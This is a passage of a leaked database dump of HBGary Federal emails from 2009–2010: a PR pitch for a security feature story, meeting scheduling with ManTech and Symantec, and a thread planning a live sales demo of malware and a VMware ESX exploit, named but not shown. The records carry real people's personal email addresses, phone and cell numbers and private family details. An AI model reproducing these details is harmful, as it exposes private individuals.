Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. &nbsp; \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program\r\n manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his\r\n tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University. &nbsp; \r\n&nbsp; \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com. &nbsp; \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 karenmaryburke@yahoo.com&nbsp; --- On Mon, 12/28/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, December 28, 2009, 4:13 PM\r\nOk, thanks.&nbsp; \r\n\r\n\r\n\r\nOn Dec 28, 2009, at 5:27 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Just to reconfirm, Aaron will call you tomorrow, Tuesday Dec. 29th&nbsp;at 10 AM ET. I will be on the call as well.&nbsp;Best, Karen--- On Wed, 12/23/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"John Moore\" &lt;jmwriter@twcny.rr.com&gt;Date: Wednesday, December 23, 2009, 1:36 PM\r\n\r\n\r\n\r\n\r\nGreat -- thanks so much John. Best, Karen--- On Wed, 12/23/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, December 23, 2009, 6:51 AM\r\nThat time works.&nbsp; \r\n\r\nI\'m mainly interested in the second and third points mentioned below:\r\n\r\n* Do most agencies conduct pen tests and vulnerability assessments to test the effectiveness of training? How often should those tests/assessments be conducted? How much do they cost?\r\n\r\n* I\'d like more detail on how DRM works. To what extent is it available today? How difficult/costly is it to deploy?\r\n\r\nI\'ll be at (315) 488-8111.\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 22, 2009, at 6:49 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nGreat, John -- how about 10 AM ET on Tuesday? If you can, please&nbsp;send over some sample questions, or Aaron can just elaborate in more detail on his points below. He will plan to call you if that is convenient -- please just send your number. Best, Karen&nbsp;&nbsp;&nbsp;--- On Tue, 12/22/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 12:06 PM\r\nAny time between 8:00 a.m. and 11:00 a.m. ET will work on Tuesday.&nbsp; \r\n\r\n\r\n\r\nOn Dec 22, 2009, at 2:17 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Aaron will be on vacation next week, but is&nbsp;very interested in speaking&nbsp;to you!&nbsp;Please suggest a few times for Tuesday and I\'ll reconfirm final time with Aaron. Best, Karen&nbsp;--- On Tue, 12/22/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 10:40 AM\r\n\r\n\r\nKaren:\r\n\r\nWould he have any time to talk on the 28th or 29th?\r\n\r\n\r\nOn Dec 21, 2009, at 2:52 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John, If you need an expert for this story, HBGary Federal CEO Aaron Barr would be a great resource for you. Among the topics he can discuss: \r\n&nbsp;\r\n&nbsp;\r\n\r\nIT Security training just has not been taken seriously enough. &nbsp;In the classified world, you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity, you can get your clearance revoked and lose your job. &nbsp;This doesn\'t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n&nbsp; \r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessments, on the hardened state of the systems. &nbsp;For example, how many user names and passwords could a pen tester acquire? &nbsp;How many systems could they penetrate? &nbsp;You can conduct training and then, a few months later, retest the organizations security posture. &nbsp;That is one of the only true ways to measure success in the IT security world.\r\n&nbsp; \r\n\r\nIn the future, one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine. &nbsp;The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes. &nbsp;These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\nAbout HBGary Federal and CEO Aaron Barr \r\nHBGary Federal recently launched to focus on delivering HBGary\'s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. Prior to joining HBGary Federal, Mr. Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. \r\n&nbsp;\r\n&nbsp;\r\nPlease let me know if you would like to talk to Aaron. Best, Karen\r\n&nbsp;\r\nKaren Burke\r\nOn Behalf of HBGary\r\n650-814-3764\r\n&nbsp;\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, December 18, 2009, 7:28 AM\r\n\r\nI\'m writing the security feature for the Jan. 25 issue. The topic is end user IT security training. How do organizations measure the impact of training and whether employees are following through (adhering to agency security policies).&nbsp; \r\n\r\nJohn\r\n\r\n\r\n\r\nOn Dec 14, 2009, at 2:24 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Just wanted to check back -- has this story been assigned? Thanks, Karen--- On Thu, 12/10/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Question re Cybersecurity storyTo: jmwriter@twcny.rr.comDate: Thursday, December 10, 2009, 3:41 PM\r\n\r\n\r\n\r\n\r\n\r\nHi John, Can you please tell me who is working on the upcoming cybersecurity story slated for January? I am working with a few security companies who might be a good fit. Thanks, Best, Karen&nbsp;\r\n&nbsp;\r\nKaren Burke\r\n650-814-3764\r\n\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12706,'aaron_hbgary_com/12706.html'),(927,'2010-01-05','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','/aaron@hbgary.com/new/1297000150.M941252P3547Q927.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion','Aaron I can meet on wed about 1030, maybe we can do lunch\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, January 01, 2010 6:28 PM\r\nTo: Nieves, Alexander\r\nSubject: Re: Discussion\r\n\r\nHey Alex,\r\n\r\nWhat is your schedule like the first few weeks of the new year?\r\n\r\nHappy New Year,\r\nAaron\r\n\r\nOn Dec 15, 2009, at 8:09 AM, Nieves, Alexander wrote:\r\n\r\n> Aaron im sorry but Friday just got slammed with customer last minute\r\n> appt. how about next Tuesday? \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, December 14, 2009 9:00 PM\r\n> To: Nieves, Alexander\r\n> Subject: Re: Discussion\r\n> \r\n> Hi Alex,\r\n> \r\n> Friday 1-2 sounds good if your still available.  I will come to you.\r\n> Let me know if you just want to talk for a bit.  I can at a high level\r\n> discuss HBGary tools and capabilities.  If you want a demo of the new\r\n> products, Responder, Digital DNA, and Recon I would have to bring an\r\n> engineer.  If you just want to talk a bit first we can always set up a\r\n> demo if your interested after the new year.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 11, 2009, at 3:16 AM, Nieves, Alexander wrote:\r\n> \r\n>> I can do next Friday from 1-2pm, but I would have to ask you to meet\r\n> me\r\n>> in Herndon office where bill Varner sits. I will have a meeting there\r\n>> that ends at 1pm. Let me know if this will work\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, December 10, 2009 1:38 PM\r\n>> To: Nieves, Alexander\r\n>> Subject: Re: Discussion\r\n>> \r\n>> How is your next Friday?  I am open.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Dec 10, 2009, at 5:59 AM, Nieves, Alexander wrote:\r\n>> \r\n>>> Aaron this is week has turned into an appt nightmare. I will have to\r\n>>> look at another date. Next week is pretty busy also it\'s the week we\r\n>>> spend on strategy and operations reviews. Let me look at what might\r\n> be\r\n>>> open for next week maybe during lunch. Shoot me a couple of dates\r\n>>> between 1100-1300 time frame for next week. thanks\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Tuesday, December 08, 2009 12:54 PM\r\n>>> To: Nieves, Alexander\r\n>>> Subject: Re: Discussion\r\n>>> \r\n>>> How does Friday look Alex?  If it\'s no good I can meet with you\r\nmaybe\r\n>>> late next week to go over things and we can catch Greg his next trip\r\n>>> out.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> From my iPhone\r\n>>> \r\n>>> On Dec 7, 2009, at 10:12 AM, \"Nieves, Alexander\"\r\n>>> >>> wrote:\r\n>>> \r\n>>>> Aaron im trying to move some appts around so we can meet so let me\r\n>> see\r\n>>>> what I can do for this week?\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Wednesday, December 02, 2009 2:25 AM\r\n>>>> To: Nieves, Alexander\r\n>>>> Subject: Discussion\r\n>>>> \r\n>>>> Hi Alex,\r\n>>>> \r\n>>>> I was wondering if you would be interested in getting together next\r\n>>>> week\r\n>>>> to talk about my new role, what we might be able to do together and\r\n>>>> get\r\n>>>> a brief on the latest HBGary and Mantech capabilities?  Greg\r\nHoglund\r\n>>>> will be in town and of course does the best job conveying the\r\n>>>> technologies (I\'ll get there).  Not sure how familiar you are with\r\n>>>> their\r\n>>>> tools, but the one I am most excited about is their Digital DNA, it\r\n>>>> does\r\n>>>> behavior/characteristic identification of malware based on HBGarys\r\n>>>> Malware genome database.  So far its 75% successful at detecting\r\nall\r\n>>>> malware we throw at it, as the genome database gets larger that\r\n>> should\r\n>>>> get better, but already pretty good.\r\n>>>> \r\n>>>> Another idea I am starting to form is a combined capability that I\r\n>>>> think\r\n>>>> can push the rock a little on Attribution.  I am not sure if you\r\nare\r\n>>>> familiar with Palantir.  Their main focus in link analysis, and\r\n> their\r\n>>>> tool is best in class.  I want to combine Palantirs capability for\r\n>>>> externals analysis with HBGarys capability for malware binary\r\n>> analysis\r\n>>>> and fingerprinting and start doing some long term analysis and\r\n>>>> correlation of attacks.  I think this approach could push the\r\n>>>> Attribution rock forward a little.\r\n>>>> \r\n>>>> I know you guys are in the \"forensics\" space but would really like\r\n> to\r\n>>>> talk about what that really means, also share where we are going\r\nand\r\n>>>> see\r\n>>>> where we might be able to help each other.\r\n>>>> \r\n>>>> If you noticed the time of the email.  3rd night in a row I have\r\n>> woken\r\n>>>> up in the middle of the night and can\'t sleep because my mind is\r\n>>>> racing.\r\n>>>> Its nice to be excited about work, but I need some sleep.\r\n>>>> \r\n>>>> Aaron\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10239,'aaron_hbgary_com/10239.html'),(928,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000151.M192985P3547Q928.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Meeting with Symantec on Wed','Bob,I would very much like to attend, but I didn\'t list this on my calendar (should have) and have a 1030 meeting with ManTech. &nbsp;Would it be possible for you to feel them out on the attribution and services side and see if we can set a follow up?Very interested to hear about the gov\'t opportunity and whether or not there is a play for HBGary Fed there.AaronOn Jan 4, 2010, at 10:14 PM, Bob Slapnik wrote:Aaron,&nbsp;Did you still want to attend the 11:30 Wed lunch meeting with Symantec?&nbsp; We’re meeting at TDB restaurant in Reston.&nbsp; The topics will be&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Integration of DDNA with Symantec enterprise products·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Having Symantec be a sales channel for HBGary products·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Using HBGary products within Symantec’s security services·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Teaming with Symantec on an upcoming gov’t opportunity&nbsp;Looking at this list I’d see HBGary Federal being a possible fit for the last item, but at this point I have no information of the nature of the opportunity.&nbsp; It would be great to have you attend – your choice.&nbsp;Bob&nbsp;&nbsp;',4265,'aaron_hbgary_com/4265.html'),(929,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000151.M820779P3547Q929.eml','\"Brian Masterson\" <brian.masterson@ngc.com>','Training and Malware','Brian,\r\n\r\nLooks like the next training class isn\'t until February right now, and  \r\nwhat I am being advised because of your folks more advanced capability  \r\nthe class you want is Malware Analysis using Responder Pro.  The next  \r\nversion of that class is Mar11-12 in Reston, VA.  Let me know what you  \r\nwant to do there and I will put u in contact with the training guy.\r\n\r\nOn the Malware.  Do you want these live or can they be recorded  \r\nvideo.  Reason being the VMWare ESX server exploit, well requires an  \r\nactive ESX server on the net.  We have a few at our Colo but we use  \r\nthem for the feed processor so can\'t reallocate for long periods of  \r\ntime.  We can prepare it for the demo video, shoot, then put them back  \r\nto normal.  Let me know what u want to do here.  Each will take a  \r\nlittle bit of prep time to set up, and we would need a machine that I  \r\nguess we would take in to customers?  If the videos will work that  \r\nwould be cleanest I think, just put them on a CD and shop them around  \r\nalong with the technical descriptions.\r\n\r\nAaron\r\n',9768,'aaron_hbgary_com/9768.html'),(930,'2010-01-05','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000152.M21667P3547Q930.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Training and Malware','Feb is fine.  Got the baby coming tomorrow so this month will be tight.\r\nDid I mention that to you?\r\n\r\nFor the malware, I would create travelling demo so we could take it to\r\npotential customers.  Would rather be live.  I ordered about 80K of\r\nequipment in December and it is stacked in my office.  I have at least 6\r\nlaptops somewhere in the stacks.\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 05, 2010 8:08 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Training and Malware\r\n\r\nBrian,\r\n\r\nLooks like the next training class isn\'t until February right now, and  \r\nwhat I am being advised because of your folks more advanced capability  \r\nthe class you want is Malware Analysis using Responder Pro.  The next  \r\nversion of that class is Mar11-12 in Reston, VA.  Let me know what you  \r\nwant to do there and I will put u in contact with the training guy.\r\n\r\nOn the Malware.  Do you want these live or can they be recorded  \r\nvideo.  Reason being the VMWare ESX server exploit, well requires an  \r\nactive ESX server on the net.  We have a few at our Colo but we use  \r\nthem for the feed processor so can\'t reallocate for long periods of  \r\ntime.  We can prepare it for the demo video, shoot, then put them back  \r\nto normal.  Let me know what u want to do here.  Each will take a  \r\nlittle bit of prep time to set up, and we would need a machine that I  \r\nguess we would take in to customers?  If the videos will work that  \r\nwould be cleanest I think, just put them on a CD and shop them around  \r\nalong with the technical descriptions.\r\n\r\nAaron\r\n',5662,'aaron_hbgary_com/5662.html'),(931,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000152.M230418P3547Q931.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Training and Malware','OK so Brian would like it live. &nbsp;So can we pick two that are road demoable? &nbsp;Let me know how you want to do this. &nbsp;Brian can ship the hardware to us to set it up.AaronBegin forwarded message:From: \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt;Date: January 5, 2010 8:09:45 AM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Training and Malware Feb is fine. &nbsp;Got the baby coming tomorrow so this month will be tight.Did I mention that to you?For the malware, I would create travelling demo so we could take it topotential customers. &nbsp;Would rather be live. &nbsp;I ordered about 80K ofequipment in December and it is stacked in my office. &nbsp;I have at least 6laptops somewhere in the stacks.Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3543-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 05, 2010 8:08 AMTo: Masterson, Brian (Xetron)Subject: Training and MalwareBrian,Looks like the next training class isn\'t until February right now, and &nbsp;what I am being advised because of your folks more advanced capability &nbsp;the class you want is Malware Analysis using Responder Pro. &nbsp;The next &nbsp;version of that class is Mar11-12 in Reston, VA. &nbsp;Let me know what you &nbsp;want to do there and I will put u in contact with the training guy.On the Malware. &nbsp;Do you want these live or can they be recorded &nbsp;video. &nbsp;Reason being the VMWare ESX server exploit, well requires an &nbsp;active ESX server on the net. &nbsp;We have a few at our Colo but we use &nbsp;them for the feed processor so can\'t reallocate for long periods of &nbsp;time. &nbsp;We can prepare it for the demo video, shoot, then put them back &nbsp;to normal. &nbsp;Let me know what u want to do here. &nbsp;Each will take a &nbsp;little bit of prep time to set up, and we would need a machine that I &nbsp;guess we would take in to customers? &nbsp;If the videos will work that &nbsp;would be cleanest I think, just put them on a CD and shop them around &nbsp;along with the technical descriptions.Aaron',15646,'aaron_hbgary_com/15646.html'),(932,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000152.M677870P3547Q932.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Training and Malware','OK I just sent that info to Greg and asked him to pick two that we can  \r\nput on the road.  I will let you know, might just need you to ship a  \r\nlittle bit of hardware...we\'ll see.\r\n\r\nAnd no you didn\'t mention anything about a baby!  Your having a baby?!  \r\n(by proxy of course).\r\n\r\nAaron\r\n\r\n\r\nOn Jan 5, 2010, at 8:09 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Feb is fine.  Got the baby coming tomorrow so this month will be  \r\n> tight.\r\n> Did I mention that to you?\r\n>\r\n> For the malware, I would create travelling demo so we could take it to\r\n> potential customers.  Would rather be live.  I ordered about 80K of\r\n> equipment in December and it is stacked in my office.  I have at  \r\n> least 6\r\n> laptops somewhere in the stacks.\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, January 05, 2010 8:08 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Training and Malware\r\n>\r\n> Brian,\r\n>\r\n> Looks like the next training class isn\'t until February right now, and\r\n> what I am being advised because of your folks more advanced capability\r\n> the class you want is Malware Analysis using Responder Pro.  The next\r\n> version of that class is Mar11-12 in Reston, VA.  Let me know what you\r\n> want to do there and I will put u in contact with the training guy.\r\n>\r\n> On the Malware.  Do you want these live or can they be recorded\r\n> video.  Reason being the VMWare ESX server exploit, well requires an\r\n> active ESX server on the net.  We have a few at our Colo but we use\r\n> them for the feed processor so can\'t reallocate for long periods of\r\n> time.  We can prepare it for the demo video, shoot, then put them back\r\n> to normal.  Let me know what u want to do here.  Each will take a\r\n> little bit of prep time to set up, and we would need a machine that I\r\n> guess we would take in to customers?  If the videos will work that\r\n> would be cleanest I think, just put them on a CD and shop them around\r\n> along with the technical descriptions.\r\n>\r\n> Aaron\r\n\r\n',14972,'aaron_hbgary_com/14972.html'),(933,'2010-01-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000153.M307307P3547Q934.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting with Symantec on Wed','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nDo you anything I can read about attribution to help me prepare\r\nfor the meeting?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 05, 2010 7:57 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Meeting with Symantec on Wed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI would very much like to attend, but I didn\'t list this on\r\nmy calendar (should have) and have a 1030 meeting with ManTech. &nbsp;Would it\r\nbe possible for you to feel them out on the attribution and services side and\r\nsee if we can set a follow up?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVery interested to hear about the gov\'t opportunity and\r\nwhether or not there is a play for HBGary Fed there.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 4, 2010, at 10:14 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDid you still want to attend the 11:30 Wed lunch meeting with\r\nSymantec?&nbsp; We&#8217;re meeting at TDB restaurant in Reston.&nbsp; The topics\r\nwill be\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Integration of DDNA with\r\nSymantec enterprise products\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Having Symantec be a sales\r\nchannel for HBGary products\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Using HBGary products within\r\nSymantec&#8217;s security services\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Teaming with Symantec on an\r\nupcoming gov&#8217;t opportunity\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLooking at this list I&#8217;d see HBGary Federal being a possible fit\r\nfor the last item, but at this point I have no information of the nature of the\r\nopportunity.&nbsp; It would be great to have you attend &#8211; your choice.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6544,'aaron_hbgary_com/6544.html'),(934,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000153.M528848P3547Q935.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Training and Malware','I can very much relate, except I am approaching 20 years married next year.  Well congratulations.  I have to admit having a boy is a bit fun because you get to replay with all the toys you did as a kid.  Well thats not the only fun thing but u know what I mean.\r\n\r\nNext time ur in town we can go for that beer.\r\n\r\nOK I will let Greg know, we will work it out.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 5, 2010, at 8:23 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Ah, yeah.  So, my fiancé is pregnant and being induced tomorrow.  Thought I told you the whole story sometime.  We have tried twice to get married and called it off both time. We are a bit oil and water.\r\n> \r\n> Going to have a boy which is great since I have a daughter now.  However not sure what our future is.  Going to be out for the 1.5 week but will have email and will come in when necessary.  \r\n> \r\n> Whole story requires one large beer.  :)\r\n> \r\n> As far as the hardware, I got guys who can put the demo together.  We need to address the concerns that Trent expressed to me last week.\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, January 05, 2010 8:21 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Re: Training and Malware\r\n> \r\n> OK I just sent that info to Greg and asked him to pick two that we can  \r\n> put on the road.  I will let you know, might just need you to ship a  \r\n> little bit of hardware...we\'ll see.\r\n> \r\n> And no you didn\'t mention anything about a baby!  Your having a baby?!  \r\n> (by proxy of course).\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Jan 5, 2010, at 8:09 AM, Masterson, Brian (Xetron) wrote:\r\n> \r\n>> Feb is fine.  Got the baby coming tomorrow so this month will be  \r\n>> tight.\r\n>> Did I mention that to you?\r\n>> \r\n>> For the malware, I would create travelling demo so we could take it to\r\n>> potential customers.  Would rather be live.  I ordered about 80K of\r\n>> equipment in December and it is stacked in my office.  I have at  \r\n>> least 6\r\n>> laptops somewhere in the stacks.\r\n>> \r\n>> Brian Masterson\r\n>> Northrop Grumman/Xetron\r\n>> Chief Technology Officer, IO Programs\r\n>> Ph: 513-881-3591\r\n>> Cell: 513-706-4848\r\n>> Fax: 513-881-3543\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, January 05, 2010 8:08 AM\r\n>> To: Masterson, Brian (Xetron)\r\n>> Subject: Training and Malware\r\n>> \r\n>> Brian,\r\n>> \r\n>> Looks like the next training class isn\'t until February right now, and\r\n>> what I am being advised because of your folks more advanced capability\r\n>> the class you want is Malware Analysis using Responder Pro.  The next\r\n>> version of that class is Mar11-12 in Reston, VA.  Let me know what you\r\n>> want to do there and I will put u in contact with the training guy.\r\n>> \r\n>> On the Malware.  Do you want these live or can they be recorded\r\n>> video.  Reason being the VMWare ESX server exploit, well requires an\r\n>> active ESX server on the net.  We have a few at our Colo but we use\r\n>> them for the feed processor so can\'t reallocate for long periods of\r\n>> time.  We can prepare it for the demo video, shoot, then put them back\r\n>> to normal.  Let me know what u want to do here.  Each will take a\r\n>> little bit of prep time to set up, and we would need a machine that I\r\n>> guess we would take in to customers?  If the videos will work that\r\n>> would be cleanest I think, just put them on a CD and shop them around\r\n>> along with the technical descriptions.\r\n>> \r\n>> Aaron\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11354,'aaron_hbgary_com/11354.html'),(935,'2010-01-05','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000153.M77148P3547Q933.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Training and Malware','Ah, yeah.  So, my fiancé is pregnant and being induced tomorrow.  Thought I told you the whole story sometime.  We have tried twice to get married and called it off both 